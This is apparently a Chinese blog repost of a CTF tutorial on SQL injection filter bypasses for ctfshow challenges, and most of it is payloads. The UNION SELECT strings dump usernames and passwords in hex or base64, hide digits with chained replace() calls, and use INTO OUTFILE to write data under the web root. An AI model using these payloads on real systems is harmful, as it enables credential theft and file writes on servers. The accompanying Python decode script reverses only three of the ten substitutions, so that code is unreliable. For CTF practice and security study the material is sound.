SQL注入 进阶绕过技巧

2022/6/30 2:52:42

本文主要是介绍SQL注入 进阶绕过技巧,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

hex/哈希值绕过

1' union select hex(id),hex(username),hex(password) from ctfshow_web.ctfshow_user3--+
如果回显点少的话,可以在后面加上limit 3,5#    即表示,从第三列数据开始输出五列

base64加密绕过

1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag'--+

替换关键字绕过

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')

有效负载

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')
,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' limit 1,1-- A

然后写一个py脚本输出flag
import base64
flagstr = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
flag = flagstr.replace('numA','1').replace('numB','2').replace('numC','3')
print(base64.b64decode(flag))

into outfile写shell

1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt'-- A



这篇关于SQL注入 进阶绕过技巧的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程